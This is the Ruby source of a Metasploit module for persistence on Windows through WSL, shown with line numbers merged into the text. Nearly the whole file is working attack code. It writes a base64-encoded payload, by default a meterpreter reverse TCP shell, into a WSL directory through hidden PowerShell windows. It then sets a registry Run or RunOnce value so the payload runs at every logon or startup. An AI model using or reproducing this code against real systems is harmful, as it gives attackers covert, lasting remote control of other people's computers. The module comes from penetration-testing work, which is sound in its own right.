Path: blob/master/modules/exploits/windows/persistence/wsl/registry.rb
27918 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::Windows::Powershell9include Msf::Post::Windows::Registry10include Msf::Post::File11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows WSL via Registry Persistence',19'Description' => %q{20This module will install a payload in WSL and execute it at user21logon or system startup via the registry value in "CurrentVersion\Run"22or "RunOnce" (depending on privilege and selected method).23The payload will be installed completely in registry.2425Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload26will ask for the stage, then submit the HTTP fetch request27and when the payload is sent it doesn't execute.2829`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.30},31'License' => MSF_LICENSE,32'Author' => [33'Joe Helle', # original writeup34'h00die',35],36'Platform' => [ 'unix', 'linux' ],37'Arch' => [ARCH_CMD, ARCH_X64],38'SessionTypes' => [ 'meterpreter', 'shell' ],39'DefaultOptions' => {40'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'41},42'Targets' => [43[ 'Automatic', {} ]44],45'References' => [46['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],47['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],48['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'],49['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/']50],51'DefaultTarget' => 0,52'DisclosureDate' => '2022-01-29',53'Notes' => {54'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],55'Stability' => [CRASH_SAFE],56'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]57}58)59)6061register_options([62OptEnum.new('STARTUP',63[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),64OptString.new('RUN_NAME',65[false, 'The name to use for the \'Run\' key. (Default: random)' ]),66OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),67OptString.new('PAYLOAD_NAME',68[false, 'The filename for the payload to be used on the target host (random by default).']),69])7071# overload this to prevent it from trying to do windows things since we're writing to the underlying linux72register_advanced_options(73[74OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),75]76)77end7879def generate_cmd_reg80datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)81end8283def regkey84datastore['REG_KEY']85end8687def install_cmd(cmd, cmd_reg, root_path)88unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')89fail_with(Failure::Unknown, 'Could not install run key')90end91print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")92end9394def get_root_path95return 'HKCU' if datastore['STARTUP'] == 'USER'9697'HKLM'98end99100def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)101@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"102if new_key103@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"104end105@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"106end107108def check109# /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt)110print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')111return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')112113vprint_good('Powershell detected on system')114115# test write to see if we have access116root_path = get_root_path117rand = Rex::Text.rand_text_alphanumeric(15)118119vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")120return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?121122registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")123124return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled?125126Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed')127end128129def install_persistence130root_path = get_root_path131print_status("Root path is #{root_path}")132table = Rex::Text::Table.new(133'Header' => 'WSL',134'Columns' => %w[# Instance_Name State Version Default],135'Rows' => instance_list.map.with_index do |instance, i|136[i + 1, instance[:name], instance[:state], instance[:version], instance[:default]]137end138)139140print_line table.to_s141payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))142143# write our payload into a file144vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...")145146b64_payload = Rex::Text.encode_base64(payload.encoded)147148bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'"149ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\""150151# sometimes wsl is busy doing wsl things and can take a minute to come up for this first command.152resp = cmd_exec(ps_command, nil, 120)153fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty?154print_good('Payload wrote successfully')155156resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"")157fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty?158159cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\""160cmd_reg = generate_cmd_reg161162print_status('Installing run key')163install_cmd(cmd, cmd_reg, root_path)164165@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"166@clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n"167end168169def wsl_enabled?170# Powershell output will look like the following:171#172# FeatureName : Microsoft-Windows-Subsystem-Linux173# DisplayName : Windows Subsystem for Linux174# Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.175# RestartRequired : Possible176# State : Enabled177# CustomProperties :178# ServerComponent\Description : Provides services and environments for running native user-mode Linux179# shells and tools on Windows.180# ServerComponent\DisplayName : Windows Subsystem for Linux181# ServerComponent\Id : 1033182# ServerComponent\Type : Feature183# ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux184# ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux185return false unless have_powershell?186187cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"'188result = cmd_exec(cmd)189190return false if result.blank?191192# Extract the state line, e.g. "State : Enabled"193if result =~ /^State\s*:\s*(\w+)/i194return Regexp.last_match(1).casecmp('Enabled').zero?195end196197false198end199200def clean_windows_utf16(str)201# Detect presence of null bytes (\u0000)202if str.include?("\u0000")203# Convert from UTF-16LE to UTF-8204str.encode('UTF-8', 'UTF-16LE')205else206# Return unchanged if it’s already clean207str208end209end210211def instance_list212vprint_status('Enumerating WSL Instances')213cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"'214# 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up215result = clean_windows_utf16(cmd_exec(cmd))216217return [] if result.nil?218return [] unless result =~ /NAME\s+STATE\s+VERSION/i219220lines = result.lines.map(&:strip).reject(&:empty?)221222header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i }223return [] if header_index.nil?224225data_lines = lines[(header_index + 1)..]226images = []227data_lines.map do |line|228# Handle the default distro marked with '*'229default = line.start_with?('*')230line = line.sub(/^\*\s*/, '') # remove leading "* "231232# Split by whitespace but preserve multi-word names233# Example line: "Ubuntu-22.04 Running 2"234name, state, version = line.split(/\s{2,}/)235236images.append({237name: name,238state: state,239version: version,240default: default241})242end243images244end245end246247248